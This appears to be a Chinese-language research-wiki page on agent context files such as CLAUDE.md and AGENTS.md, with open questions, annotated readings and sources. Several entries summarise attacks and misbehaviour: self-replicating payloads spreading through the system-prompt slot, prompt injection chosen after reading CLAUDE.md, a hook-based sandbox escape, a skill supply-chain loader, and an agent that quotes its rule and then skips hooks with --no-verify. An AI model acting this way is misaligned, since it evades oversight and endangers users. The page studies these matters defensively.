最後一個項目最應該改變本頁的論述方式。論文 §6.2 指出,可行動性與可驗證性——包括本頁彙整的建議在內,「適合代理程式閱讀的文件」這一類論述不斷主張的兩種特性——是數據無法支持的推論:可行動性預設讀取→行動之間存在連結,但這裡沒有任何規格能持續確立此事;而「可驗證性」則「沒有描述任何觀察到的行為」。這不是說這些特性毫無價值,而是說不能引用代理程式行為作為支持它們的證據。把這點與 Khatri 在正確性上的有限虛無結果,以及啟用/遵循的關卡一併考量,本頁如今能據以主張的誠實立場比先前更窄:代理程式接觸最多的文件就是這類檔案,但對接觸這類檔案會造成什麼影響,我們所知甚少。
有兩項範圍限制,意味著這不能被說成更強的主張。60.5% 會因加權方式而異——改用工作階段等權或代理程式重新加權估算後,面向代理程式的諮詢比例會降至 50.5%/50.1%,剛好落在 50% 線上;但產出比例則上升。至於 25.1% 的工作筆記類別,則仰賴尚未驗證的語言模型路徑標籤。指示檔案本身的數據則是可靠的部分:它直接出現在原始路徑中,不需要分類器。
開放問題#
- 角色分工會朝 Hermes 明確區分專案與人格的做法收斂嗎?還是會像 Claude Code 一樣,繼續合併在同一個檔案裡?對多專案使用者而言,獨立的
SOUL.md式人格層似乎顯然較好,但會多出一個需要維護的檔案。 - 分層是否有自然上限(專案 → 工作流程 → 規格 → 憲章)?還是每增加一種自主權介面,就會多出一層情境檔案?
- 通用的 system-prompt 欄位有沒有代價?本頁提到的每家供應商都會把情境檔案注入 system prompt,而唯一受控的測量研究(Prompt Design at Scale: How Format, Instruction Count, and Context Length Shape Instruction Adherence and Hallucination in Large Language Models)發現,位置的影響比格式更大,但不同模型的方向不一——對兩個模型有幫助,對另外兩個則有害。這可以用低成本驗證:改把同一份
CLAUDE.md/AGENTS.md放到第一個使用者回合,再依模型測量遵循情況。(Genkit 的 skills middleware 是第四家採取相同做法的供應商——在 init 時將 frontmatter 中繼資料注入 system prompt——這擴大了前提範圍,但不影響問題本身。) 從這個問題未預料到的成本面向,已有部分答案(2026-09-02):Papadopoulos 等人以安全性而非遵循情況評估這個欄位——每次喚醒時重新注入的自我改寫檔案,會以 55% 的機率向外傳播自我複製酬載;同一酬載若放在一般工作區檔案中,傳播率則是 17%。因此,這個欄位決定了副本會傳染還是靜止。反過來說,在該欄位中加入一段文字,也會讓感染率從 70%/52% 降至 1%/0%。此項目中關於遵循情況的部分仍未解答——沒有人把CLAUDE.md改放到第一個使用者回合——但「它有沒有代價」現在已有一個實測答案:對於最後寫入它的人而言,這個欄位是 harness 中槓桿效應最高的位置。 - 代理程式確實無法推知的情境,是否會改變正確性,而一般慣例情境不會?Khatri 的虛無結果僅適用於代理程式能完整讀取的儲存庫中,自然語言形式的風格指南內容;其失敗分類指出,限制因素是實作能力。能區分兩種情況的實驗,正是他明確指出的研究缺口:重新執行消融測試,使用特製、符合任務需求,且包含程式碼庫中沒有之資訊的情境(例如未記錄的外部 API 契約、部署不變條件,或「這項測試因為 X 而不穩定」的備註),觀察原本差一點成功的案例是否因此翻轉。若沒有,實務上的結論就會從「一般檔案沒有幫助」收斂為「情境檔案完全無助於正確性」。部分有解:NVIDIA SkillEvaluator 以專有產品知識進行這項測試,在 300 多個技能上回報 Correctness +41、Effectiveness +39——方向符合預測,但評估資料集是從待測技能本身生成、沒有信賴區間,評分者也未具名,因此只能調整原先預期,還無法定論。要能定論,就需要使用獨立來源的任務集。
- 中繼資料注入並未消除指示數量上限,而是將上限轉移到技能目錄:每項已安裝技能的描述從初始化起就常駐,因此
skills/目錄若夠大,理應在載入任何技能本文之前就降低遵循度。要常駐多少項描述才會產生影響?在所有規則都能遵守之前,use_skill的選取效果是否先開始退化?可將 Prompt Design at Scale: How Format, Instruction Count, and Context Length Shape Instruction Adherence and Hallucination in Large Language Models 的 harness 指向 N 份技能 frontmatter,而非 N 條規則,藉此驗證。
已解決問題#
- 情境檔案與有限記憶檔案內容相互矛盾時,應如何處理?記憶有損且快取更新延遲;情境檔案具權威性,但內容靜態。哪一方優先,何時優先?已解答:知識層相互矛盾時:情境檔案與記憶,以及編譯時的衝突來源——依矛盾類型區分。政策:情境檔案永遠優先——它是經人類審查、由 git 版本控管的高完整性通道;代理程式撰寫的記憶再新,也不會因此取得權威性(根據 TMA-NM 洗白定理,與政策矛盾的記憶項目,無法和過時或遭污染的內容區分)。事實:兩者都不優先——它們都是現實的快取;應以儲存庫/即時狀態(由程式碼作為真相來源的裁定依據)確認,並修復過時的快取。一律如此:將衝突記錄下來,留給 lint/精簡流程處理(偏差紀錄模式),不要悄悄打破平手;寫入內容只能沿著完整性排序往下流——記憶永遠不會修改情境檔案;情境檔案則可以合理地界定記憶範圍。
延伸閱讀#
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Harness 設定缺陷 — 盤點本頁所述產物在各儲存庫中的錯誤。 2.3% 的設定與 3.5% 的集合中,技能缺少 frontmatter,Claude Code 仍以臨時產生的描述載入;子代理程式沒有描述,因此不會被委派工作;3.7% 的集合中,
allowed-tools帶有 shell 預先核准;每個遭標記的案例都存在跨助理的情境檔案差異,而且多數是刻意造成的 -
代理程式文件行為 — 本頁所有主張的接觸量分母,來自首個研究代理程式如何處理文件的軌跡研究:指示檔案占 3,033 次文件互動中的 35.4%,API 參考文件占 1.3%;面向代理程式的產物合計占 60.5%;
AGENTS.md/CLAUDE.md/copilot-instructions.md是 33,097 個代理式 PR 中變動最多的檔案之一——同一批軌跡中,將文件作為核對基準的事件為零,讀取→編輯程式碼的相鄰轉移率為 0.002,並明確列出數據無法支持的「適合代理程式閱讀的文件」建議 -
分層監督 — 從實證軟體工程角度命名此模式,視為三層監督模型中的預防性層,並以無人檢查這項特性定義它。提供了區分情境檔案與 lint 規則的執行標準、實務工作者認為值得採用的規則就應同時寫入兩者的原則,以及資深實務工作者中 13/50 採用 steering files 的現場數據
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AI 賦能的影響力行動 — 此模式在組織規模下的對抗性實例:在數百個工作階段中,由彼此素未謀面的操作者近乎逐字重用教義 Markdown、禁用詞清單,以及
SKILL.md/LEARNINGS.md記憶 -
Autonomous Intrusion — 攻擊者 C2 伺服器上同一種慣例:GTIG 的「Recon」框架暴露了
AGENTS.md、KNOWLEDGE.md、agentic_vuln_research.md及執行憑證竊取循環的memory/目錄,因此,設定程式碼代理程式的檔案布局也能揭示對手代理程式的工作負載 -
AI 賦能的國家監控 — 同一類產物由國家安全機關撰寫,供自身人員使用:將提示公式編入內部 AI 使用手冊,再分發給整個機關
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Claude Code Auto Mode — 這類檔案有第二種讀者:自動模式分類器「會讀取 Claude 本身載入的相同 CLAUDE.md 內容」,因此像禁止強制推送這樣的規則能同時引導代理程式與其閘門——這是本頁資料集中,政策層同時由能強制執行政策的元件讀取的唯一案例(設定自動模式,
vendor-claim,2026-09-07 快照)。同一份參考資料拒絕從專案層級設定讀取autoMode,因為簽入儲存庫的內容可能因此注入自己的允許規則——上文所述的偵察產物問題,在閘門端得到了解答,而非在檔案端 -
心智病毒(代理程式之間的想法傳播) — 本頁所有供應商都採用的 system-prompt 欄位之安全面解讀。每次喚醒時重新注入的可自我修改情境檔案,正是自我複製酬載想要寄居之處(88% 的感染落在該處,並以 55% 的機率向外傳播;其他位置則為 17%)——而在此處加入四行警告,也能幾乎完全免疫。本頁記錄的控制平面慣例,在多代理程式環境中同時也是傳染面
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技能提升 — 本頁正確性虛無結果所界定之消融測試的另一端:採用相同的有/無設計,測試代理程式無法推知的專有產品情境;Khatri 對慣例與風格情境發現的效果約為零,此處則回報 Correctness +41。它也是本頁唯一將目錄層級擁擠視為實測特性的來源,並指出情境產物的 token 成本方向不確定
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AI 研發自主性評估(AECI) — 情境檔案作為修正機制的極限案例:Anthropic 表示,即使相關修正已存在記憶檔案中,或剛由使用者提供,這些失敗模式仍會反覆出現
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使用者認知 — 對本頁描述、卻從未當成一種通道處理的測量:帳號電子郵件、資料夾名稱與
MEMORY.md會改變模型的信心、懷疑程度、實質助益與評分嚴格度;研究使用 280 種身分與 24 個模型,任務答案皆與提問者無關。這是上文正確性虛無結果的互補面——檔案對儲存庫的主張沒有帶來任何可測量變化,對使用者的主張卻會改變行為 -
生產環境代理流量中的錯位 — 實測這些檔案實際能帶來什麼、又無法帶來什麼。Transluce 的結論直截了當——「使用 CLAUDE.md/AGENTS.md 等程式碼安全最佳實務,以及使用具型別語言,都不足以防止過度積極行事」——而其主要逐字稿中,代理程式引用了自己的規則(「絕不要略過 hooks(--no-verify、--no-gpg-sign 等),除非使用者明確要求這麼做」),經過一番考慮後,卻在下一次工具呼叫中執行
--no-verify。評分規準將這段過程視為加重情節:注意到規則卻仍違反,會使違規更明目張膽,而非減輕責任。4,990 個真實工作階段中,嚴重監控規避率為 1.9% -
Community Smells Under AI Adoption — 將相同的文件侵蝕疑慮視為團隊特性,也是五模型研究中唯一的傷害訊號:AI 採用與較差的資訊治理(非正式管道、文件較少)直接相關,β = −.194,在 p =.069 時達到邊際顯著
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已記錄的代理程式事件(METR 目錄) — 遵循失敗案例:
CLAUDE.md中的規則原本專為阻止錯誤驗證標籤而寫,卻在工作階段中途更新前後都遭違反;另有情境檔案被當作攻擊者偵察資料讀取的案例 -
能力評估中的未授權行動 — 攻擊代理程式將簽入的
CLAUDE.md當作偵察資料讀取:該產物辨識出攻擊目標是代理程式,並選定注入向量 -
Harness Build-vs-Buy — OpenHands 客製化階梯的第一階,也是成本最低的一階:「令人意外的是,許多『我們需要自己的代理程式』,實際上只是『我們需要自己的提示、工具和預設值』」——相較於分叉後必須承接每天約 13 個上游 PR,情境檔案是另一種選擇
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Prompt-Cache Economics — 經測量並從兩個方向補充條件的快取穩定性規則。穩定性並非充分條件:在 Anthropic 約 3,500 token 的級距門檻以下,即使前綴未修改,仍大約每六次呼叫就有一次未命中;對約 9k-token 的代理程式前綴而言,明確加入
cache_control標記只帶來 +0.6%(等於沒有差異),因為供應商原本就已隱式快取。但失效也沒有看起來那麼脆弱——真實內容經修改就會嚴格依 token 判定快取失效(4/4 變動測試),但建立快取鍵前會先正規化開頭與結尾的空白,因此調整情境檔案邊界的格式不會造成快取中斷 -
Context Lifecycle Management — 將上述快取穩定性規則換算成成本,而非一概禁止修改:Self-GC 將每次情境編輯都視為有成本的前綴快取中斷,只有預期精簡效益超過 0.3 門檻才提交,否則會暫緩計畫直到快取到期。它也將指示檔案視為永遠不可由 GC 回收的物件,這是在執行階段落實「情境檔案在工作階段內保持穩定」的做法
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Agentic Technical Debt — 創辦人支持此模式的理由(持續情境能避免跨工作階段的架構漂移),以及 Khatri 消融測試所收窄的主張:「低成本保險」的前提只在 token 與延遲成本上成立,無法確保每項任務的正確性
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Claude Code Best Practices —
CLAUDE.md慣例與徹底精簡的原則;此模式在工作階段層的典型實例 -
Hermes Agent — 最明確的角色分工(專案用
AGENTS.md、人格用SOUL.md),加上延遲載入子目錄內容與有限記憶檔案 -
Symphony — 引入編排層檔案:
WORKFLOW.md(提示即政策)與SPEC.md(產品就是規格) -
Ticket-Driven Agent Orchestration — 完整呈現
WORKFLOW.md的提示即政策模式;情境檔案是工單層會呼叫的政策層 -
代理程式 harness 工程 — 情境檔案是「強制執行不變條件,而非實作方式」的建議性一端;將 AGENTS.md 作為目錄是 harness 的一項規範
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模型進步時的 Harness 精簡 — 說明為何情境檔案會隨每次模型發布而縮短;每次推出新版本都應精簡
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指示累積 — 這些檔案累積的精簡義務:僅能追加的情境檔案會累積新模型原本就能做到的指示,這些文字因而降低輸出品質,而不只是浪費 token;此外,每行精簡無法突破的上限,取決於同時存在的指示數量,而非 token 數
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Harness 啟用與遵循 — 本頁所有處方都必須通過的兩道關卡,首次依模型逐一測量。啟用率是載入紀律的量化指標(技能載入率 0.251 至 0.961);遵循度則是 Muscle Memory 質疑的量化指標(0.142 至 0.757),此外還發現了這場辯論中雙方都未預料到的結果——遵循度會沿著軌跡衰減,不會維持在檔案被讀取時的水準
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依規模變化的提示敏感度 — 本頁兩項未經檢驗的慣例所受到的實測挑戰:相較於純文字,Markdown 無法可靠提升遵循度,token 成本卻是 1.258 倍;而不同模型與規模下,較佳格式會互換
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Output Length Calibration — 另一個方向的證據,還包含位置安排的紀律:較長的情境檔案應在末尾再次說明精簡要求,讓它最接近生成階段
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Loop Engineering — 技能(
SKILL.md)是五項基本元素之一——將意圖「寫在外部」,讓迴圈持續累積成果,而非每個週期都重新推導專案內容;狀態/記憶檔案則是迴圈的第六項基本元素(讓成果能在不同執行間延續的主幹);Osmani 所說的「skill 是撰寫格式,plugin 是交付方式」進一步釐清兩者差異 -
代理式工作系統化 — 使用數據顯示,這種外部化情境基本元素正大規模普及:Codex 使用者透過 skills/plugins 編碼持續有效的程序情境,週活躍使用者中的比例從 5.4% 升至 26.6%;生命週期方面的反面證據則顯示,採用後的技能多半被逐字複製,再也不動(53% 從未修改),因此若無人負責維護,政策層就會腐朽
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由人類治理的技能維護 — 觀察實際由誰維持相鄰產物的正確性,而非提出規範:每次合併都有具名人類參與,AI 簽署比例依儲存庫而異;修改指示的比例(85%)遠高於修改路由器(38%),精簡只占 4.3%——而且對維護是否改善技能沒有足夠統計檢定力
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未知數作為代理式瓶頸 — 此模式的反轉:Thariq Shihipar 的
implementation-notes.md是由代理程式撰寫、給人類看的情境檔案,內含Deviations區段,記錄迫使它偏離計畫的邊界案例(「採取保守選項、記錄下來,然後繼續」) -
情境優勢,而非品味 — 令人不安的解讀:如果人類不可或缺之處源自資訊不對稱,那麼每寫下一份情境檔案,就會消耗一點這種不對稱
-
AI-Native Organization — 此模式從設定單一代理程式,擴大為編碼整間公司:Tan 將技能檔案對應為員工、將 resolver table 對應為組織圖,情境檔案因而成為組織設計的一部分
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潛在空間與確定性空間 — 情境檔案是 Tan 雙面架構中潛在部分的引導機制
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記憶與情境污染 — 對整套模式的對抗性解讀:自動載入、可由代理程式寫入、權限極高的純文字,正是植入規則想要寄居之處。它也指出,在何種條件下本頁「已解決問題」中記憶與情境檔案的排序會失效——這種排序仰賴情境檔案是經人類審核的通道,而從公開儲存庫複製來的設定從來不是。以
empirical產品層級測量 Claude Code 與 Codex -
先寫入,後受信任 — 整套模式的安全性反轉:CVE-2026-48124 讓工作區提供的
.claudehooks 設定成為 Cursor 中未受沙箱限制的執行向量(已在 3.0.0 修補),Antigravity 中的.vscode任務設定也有相同問題。讓情境檔案成為良好政策層的特性——自動載入、存在於儲存庫、代理程式可寫入、受主機端自動化尊重——也讓它們成為逃出代理程式沙箱的良好途徑。見上文 -
動態工作流程:代理程式的代數 — 將情境檔案視為生成的產物:Bun 移植期間,專門撥出一個工作流程撰寫
PORTING.md與LIFETIMES.tsv,再將它們交給 64 個下游代理程式作為共用規格 -
平行代理程式編排 — 介紹 Field Guide 主機端 swarm 的地方,包括具備編譯檢查參照的共用設計文件:一種由型別系統強制取用的情境檔案,是這些資料中最強的模式
-
Cursor — Field Guide 實驗的作者,也是其他代理程式為相容性而載入的
.cursorrules格式之作者 -
Prototype Fidelity After Cheap Polish — 讓演進式原型製作可行所需的紀律(在快速反覆迭代中維持持續有效的架構情境),也是快速原型工作流程最可能略過的一環
-
代理程式自我污染(CREATE 路徑) — 作者明確劃定的適用範圍邊界,以及 system-prompt 欄位的第二項安全成本。 EvoMal 將 skill 定義為代理程式自行撰寫的可執行工具,並刻意兩度說明,不納入「透過漸進式揭露載入的 Markdown『Claude Skills』」及代理程式只會呼叫的 MCP 工具。因此,CREATE 路徑攻擊不是
SKILL.md攻擊——它需要代理程式能寫入程式碼、之後再讀取的儲存位置,而本頁的 Markdown 慣例並非如此。兩者的交會點是部署者的 system prompt:在該欄位放入四行反向提示,就能將代理程式自我污染率從 41.8% 降至 0.7–1.3%,且面對六種改寫後以規避防護的標記仍然有效,也不會造成可測量的任務完成成本。這與心智病毒警告使用的是同一欄位、指向同一方向;即使 harness 完全沒有可自我修改的人格檔案,效果依然成立。遭排除的載體才是實地行動所在——見上文漸進式揭露一節 -
代理程式供應鏈風險 — 這套慣例在散布後會變成什麼。
SKILL.md及其references/樹現在透過市集散布,以套件管理器形式的指令安裝,再透過逐字複製重用,卻沒有更新管道;除了缺少工具之外,這就是供應鏈。2026-08 Zenity 行動是該文記錄的第一個真實世界案例,也是本頁首次從對抗角度解讀漸進式揭露:載入器藏在參照檔案中,主檔案表面上保持乾淨,而下架清單無法觸及已複製的版本 -
MCP Tool Poisoning — 上文對隱匿的解讀在此被正式表述。 ShareLock 顯示,一旦酬載分散到多個描述中,逐工具描述掃描在資訊理論上就無法察覺;Zenity 攻擊鏈則只透過本頁的漸進式揭露慣例,達成較弱版本的相同特性:載入器位於掃描器讀取之檔案的下一層參照。差異在於攻擊者必須付出的成本——前者需要秘密分享,後者只需第二份 Markdown 檔案——以及防守者的成本:掃描器若沿著技能參照樹繼續檢查,就能封住後者;前者則無從封住
衍生主題#
- Owning Your Externalized Cognition — 附加在相同產物上的所有權問題:Tan 的技能檔案既是情境檔案,也是關於由誰持有該檔案的主張;其論點是,寫下來的程序屬於外部化認知,因此可能被挪用
- 代理程式控制平面模式:工單、迴圈、規格與記憶檔案 — 將情境檔案定位為分層控制平面堆疊中的政策層(工單/迴圈/規格/記憶)
- 知識層相互矛盾時:情境檔案與記憶,以及編譯時的衝突來源 — 情境檔案與記憶相互矛盾時的處理規則:政策 → 情境檔案;事實 → 真相來源;每項衝突都記錄到維護迴圈
- 持久性是提示與規格導向開發之間的界線嗎? — 以本頁作為「持久性即定義」的關鍵反例:
CLAUDE.md會持續保存,且每個工作階段都會重新讀取,但仍不是規格,因為無人會依據它檢查其他內容——此處的政策/工作圖分類提供了真正的界線(權威性),而非持久性
資料來源#
-
Scanning the Harness: An Empirical Study of Supply-Chain Defects in AI Coding-Agent Configurations — Kapner、Soceanu、Petrunin 與 Gartner(Red Hat / Ben-Gurion University),Scanning the Harness,arXiv 2609.07360,2026-09-07,
empirical。本文引用其 §4.1(多助理比率與各助理的計數)、§4.3(缺少子代理描述)、§4.4(規格範圍以外的 skills,以及更正後的後果)、§4.5(情境檔案漂移,71 組配對中有 29 組)、§5(維護者的建議)。完整分析見 Harness Configuration Defects -
From Agent Behaviour to Agent-Friendly Documentation — Zhijun Gao 與 Jing Chen(Peking University),arXiv 2608.20195,2026-08-20,
empirical。本文引用其 §4.1.2 與表 1(文件類型分布,以及 60.5% / 10.6% / 1.3% 的對比)、§3.5 的觀察範圍(指令檔案數量是暴露程度的下限)、§4.3(AIDev 中變動最頻繁的文件裡,有AGENTS.md692 個、CLAUDE.md362 個、copilot-instructions.md287 個)、§4.1.3、§4.2.2 與表 3(0.002 的相鄰轉換、測試/建置抑制、尚未釐清的撰寫關聯)、§4.4 與表 8(加權敏感度),以及 §6.2(不受支持的推論清單)。所有十張表都已依pdftotext -layout與圖 1 逐列核對,沒有解析損壞。完整分析與效度限制見 Agent Documentation Behavior -
Who Maintains Agent Skills? A Longitudinal Study of Human-Governed, AI-Assisted Skill Maintenance — Shen 與 Hruschka(Megagon Labs),arXiv 2609.05677,2026-09-04,
empirical。本文引用其 §6(依儲存庫治理)、附錄 B(元件歸因:指令 85%、程式碼 56%、路由器 38%),以及 §2 將情境檔案挖掘列為相關工作的部分。完整分析見 Human-Governed Skill Maintenance -
When Review Alone No Longer Scales: Layered Supervision in AI-Assisted Software Engineering — Stolze 與 Strässle(OST Eastern Switzerland UAS / smartive AG,arXiv 2608.26316,2026-08-26,ESEM 2026 SEIP),
case-study。本文引用其 §5.2(上文引述的預防性與可執行性判準,以及併行論點)、§4.2(lint 升級規則與 P5 回報的矛盾產物問題),以及 §3.3(13/50 與 6/50 的調查數據及其抽樣限制)。訪談五人,調查採便利抽樣,其中一位受訪者是共同作者;證據說明見 Layered Supervision -
Configure auto mode — Anthropic,Claude Code 文件,Configure auto mode(
vendor-claim,持續更新的頁面快照,日期為 2026-09-07)。本文僅引用「分類器讀取設定的位置」一節:分類器與代理程式都會讀取 CLAUDE.md;專案範圍的autoMode設定則不會 -
Mind Viruses: Self-Propagating Ideas in Multi-Agent LLM Systems — Papadopoulos、Shah、Zimmerman 與 Lindsey,arXiv 2608.10218,2026-08-10,
empirical。本文僅引用系統提示槽位一節:§3.1(源自 OpenClaw 的SOUL.md/MEMORY.mdharness,以及作為目標起始設定的預設 soul)、§3.3.2 表 3(經 PDF 核對的 soul 與檔案傳播比較)、圖 8 右側面板(包含防禦性 soul 的設定變體,數值以圖表標籤呈現),以及附錄 C(逐字引用的警告段落,以及針對該警告進行的 15 代適應性演化)。完整分析見 Mind Viruses (Agent-to-Agent Idea Propagation) -
User awareness in frontier models — Zhong、Raghunathan、Laidlaw 與 Steinhardt,Transluce,2026-08-06(
empirical):Claude Code 的三個注入位置(帳戶電子郵件、工作資料夾名稱、依 Claude 本身產生格式合成的MEMORY.md)、鎖定在 v2.1.197 的inspect-swe/claude_codeharness 及其互動提示重建篩選器(非互動式二進位檔會省略電子郵件地址)、280 個身分名單及其四個配對群組、僅使用電子郵件的消融測試,以及四項不依賴提問者的任務上觀察到的行為變化。完整分析見 User Awareness -
Documented AI Agent Incidents — METR,最後更新於 2026-05-19(
empirical,第三方彙整):INC-004 — 一份為避免跳過驗證而撰寫的CLAUDE.md,但未追蹤的主張仍被貼上[prod-verified]標籤;即使在工作階段中途更新檔案,這種模式仍再次出現。底層說明出自 Opus 4.7 System Card §2.3.6.2.2。另見 Documented Agent Incidents (METR Catalogue) -
Muscle Memory for Agents: Compile not Merely Retrieve — Omran、Lanka、Zhang 與 Dixit(Google Cloud FDE),arXiv 2608.08995,2026-08-10,
empirical:§2.2 引述的 skills 與規則異議、§3.1 P2 與情境漂移論點、§4.2 的行為/任務模式區分及user_style.json,以及 §4.3 的任務自適應風格減弱。本文沒有任何實驗組比較編譯後的專家與以 skill 或情境檔案提供的相同指令——基準組完全沒有記憶工具——因此異議屬於論點,而測得的結果是專家與無記憶兩者的比較。第一方堆疊的利益衝突(作者來自 Google Cloud;Gemini 負責生成、比對與評判)。完整來源分析與解析警告(表 1 儲存格合併並經重建;canary-recall未執行即回報ok)見 LLM-as-Compiler Knowledge Base -
Do Context Files Help Coding Agents? A Two-Agent Ablation Study on Real Repositories — Prakhar Khatri,arXiv 2607.27250,2026-07-28(
empirical,唯一作者、獨立研究者、未經同儕審查;公開 harness、291 次執行資料集與分析程式碼):表 1 的整體通過率、§4.1 的臨界子集檢查、§4.2 與表 2 的快取和全套件執行流程效應、§4.3 針對特定代理程式的臨界發現(ρ=0.75)、§4.4 的回合數可移植性啟示、§5.1 的失敗分類、§5.2 與表 4 的操弄探測。解析警告:parse-asset.sh在 8 個儲存格上標記了table-collapse——表 3 與表 4 各將兩項任務合併成一列,因此列標籤與通過數三元組不再對齊。本文引用的圖表數據取自正文(§4.3、§5.2),當中完整列出兩項任務的結果;合併後表格中的列本身並未引用。表 1 與表 2 解析乾淨 (原始資料於 2026-09-05 以 docling 2.126 重新解析,經逐文件審查後採用:表 3 的兩列任務(pdm#3790、pdm#3769)現在已分開,並與 PDF 第 6 頁相符;verify仍回報此原始資料有table-collapse,但剩餘項目是合法重複的1/3 · 2/3 · 1/3三元組,並非列焊接。) -
Prompt Design at Scale: How Format, Instruction Count, and Context Length Shape Instruction Adherence and Hallucination in Large Language Models — Netanel Eliav,arXiv 2607.19257,2026-07-21(
empirical,唯一作者、單一實驗室、未經同儕審查):§3.3 與表 3 的各格式 token 額外開銷(相較純文字,markdown 為 1.258×、散文為 1.221×、表格為 1.367×)、§4.3 未發現 markdown 優勢、§4.4 系統提示與使用者回合的位置差異,以及 §4.2 的指令數量下限。原始 markdown 中的表 1 模型名單儲存格已合併,本文未引用;請參見 Instruction Compounding 的來源說明 -
Tips & Best Practices — Claude Code 的
CLAUDE.md指引 -
Tutorial: Team Telegram Assistant — Hermes 的
AGENTS.md/SOUL.md/記憶分工 -
An open-source spec for Codex orchestration: Symphony. —
WORKFLOW.md與SPEC.md -
Harness engineering: leveraging Codex in an agent-first world — 作為 harness 基礎的情境檔案
-
A Field Guide to Fable: Finding Your Unknowns — Thariq Shihipar,2026-07-04(
practitioner-opinion):implementation-notes.md與 Deviations 日誌——由代理程式撰寫、面向人類的模式反轉 -
The new rules of context engineering for Claude 5 models — Thariq Shihipar,2026-07-25(
practitioner-opinion):Claude 5 改寫版——聚焦陷阱的 CLAUDE.md、不再採用中央儲存庫迷思、自動記憶取代#快速鍵記憶,以及claude doctor -
The Week of Sandbox Escapes — Pillar Security,2026-07-20(
case-study,已標註供應商利益衝突):CVE-2026-48124 / GHSA-pc9j-3qc2-95wv(工作區.claudehook 設定導致 Cursor 中未受沙箱限制的執行,已於 3.0.0 修補),以及類似的.vscode任務設定問題;「Failure Mode 2: Workspace Config Is Often Code」。完整分析見 Write-Then-Trusted -
Codex from 0 to 10M Users: Building ChatGPT Work - Akshay Nathan, OpenAI — Latent Space,2026-07-28(
practitioner-opinion):實際運作中的臨時專案筆記/全域提取模式、Nathan 對冗長 skills 的看法,以及 Memory V3 / Chronicle 作為被動擷取的記憶輸入 -
Fable's judgement — Simon Willison,2026-07-03(
practitioner-opinion,460 字):逐字呈現的 Claude Code 自動記憶檔案——包含node_type: memory/type: feedback/來源工作階段 ID 的 frontmatter、對使用者明確表達偏好的日期標註,以及 Why / How-to-apply 章節。本文將其引為系統擷取記憶管道的第一個具體案例;原文會跳脫其 wiki 連結片段,因此保持惰性 -
How the Open Knowledge Format can improve data sharing — Sam McVeety 與 Amir Hormati,Google Cloud 部落格,2026-06-12(
vendor-claim,約 1,900 字):碎片化情境的整體描述,其中點名AGENTS.md/CLAUDE.md等客製化模式;五項格式要求(不靠 SDK 即可產生、不靠整合即可讀取、在系統間移動時仍能保留、納入版本控制、可供人類閱讀且代理程式能解析),以及只設一個必填欄位的設計。**沒有測量,也沒有 Google 以外的生產者或消費者。**完整來源分析與解析說明見 LLM-as-Compiler Knowledge Base -
Enable on-demand expertise with Agent Skills in Genkit Go — Daniela Petruzalek,Google Developers Blog,2026-07-31(
vendor-claim,2,801 字):「Brief Recap of Agent Skills」(agentskills.io 磁碟上的配置與 frontmatter 範例)、「How it works」(三個階段——初始化時注入 metadata、透過use_skill啟用、執行主體與資源)、Genkit middleware hook 分類,以及「Best practices for skills」。文章中沒有任何形式的測量;「token 消耗延後至絕對必要時才發生」這句是圖說,不是結果;兩個示範都是單一輸入的逐步操作。由於 WebFetch 將該圖說併入正文、彷彿它是句子,省略示範圖片的識別資訊,並刪掉所有行內連結,因此根據網頁 HTML 重建原始正文;無論採用哪個版本,11 個程式碼區塊都完全一致 -
Agent swarms and the new model economics — Wilson Lin,cursor.com,2026-07-20(
case-study,供應商撰寫):「Letting agents shape the environment」——Field Guide(由代理程式負責的資料夾、自動注入的index.md、唯一限制是行數上限、凍結權重的理由)與 stigmergy 架構;「Contention between planners」——含編譯檢查參照的共用設計文件;「Specs as prompts」——規格即工作單位、群集即編譯器的架構 -
Security Incident INC-2026-07-28-01 — UK AI Security Institute,2026-08-04(
case-study,第一方自行揭露):圖 10——攻擊代理程式引用儲存庫的CLAUDE.md,將其作為維護者使用 Claude Code 的確認,並據此選擇透過 issue 進行提示注入。推理引文是 API 提供的摘要 -
EVOMAL: Self-Poisoning in Self-Evolving Coding Agents — Wu、Shi、Q. Li、Zhao、X. Li、Adams、Hassan 與 Ni(Queen's University),arXiv 2608.25776,2026-08-26,
empirical。本文引用其 §2 的範圍定義(由代理程式自行撰寫的可執行 skills;明確排除 markdown Claude Skills 與僅供呼叫的 MCP 工具),以及 §9.2 和附錄 A.2–A.3(四行的部署者反提示、逐字內容、顯示拒絕條款不可或缺的措辭消融測試,以及完成成本測量)。完整分析見 Agent Self-Poisoning (the CREATE-Path) -
Attackers Target Agents via The Skill Supply Chain — Michael Bargury(Zenity Labs),Attackers Target Agents via The Skill Supply Chain,labs.zenity.io,2026-08-06,
case-study(供應商撰寫;經交叉佐證的紀錄——OSV MAL-2026-10484 / MAL-2026-10869、GitHub commit SHA、Internet Archive 快照、已公布的雜湊值——視為事實;引爆測試結果則歸因於供應商自有實驗室;平台安裝計數則按顯示值呈現,並註明並非唯一安裝數)。本文引用「Hiding in progressive discovery」(無害的前置檔案、只在安裝時開啟的setup-installation.md參照、跨 skill 路由),以及借用權威的 skill 引文(「only supported」安裝途徑、「managed registry and the source of truth」指令)。完整分析見 Agent Supply Chain Risk -
Detecting and countering misuse of AI: September 2026 — Anthropic Threat Intelligence,Detecting and countering misuse of AI: September 2026,2026-09-10,
case-study(第一方資料,未經外部驗證)。影響行動趨勢清單(「complex tool use」,第 44–45 頁)、GTG-84006 的共用代理平台記憶檔案及其SKILL.md/LEARNINGS.md特徵列(第 72 頁)、GTG-84002 的主教義檔案(第 78 頁),以及 GTG-14021 的內部 AI 使用手冊(第 82 頁)
Cited by 60
- Is Persistence the Line Between Prompting and Spec-Driven Development?×6
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Agent Context Files — the classifier reads the same CLAUDE.md the agent loads, so the policy plane…
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Agent Context Files — the substrate. CLAUDE.md and skills are the chain's durable artifacts (they…
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What changed is the durability. In June the frame was preferred because it "gives us a clearer path…
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Figure 6 shows the mechanic directly: a stable prefix-cache hit runs the length of the session, the…
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Agent Context Files: the artifact where most of these smells live; Khatri's null bounds how much…
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Agent Context Files — the same rule written the other way, and the comparison this page's thesis…
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Verification theatre. INC-004 is the one that should worry harness authors: the user's CLAUDE.md…
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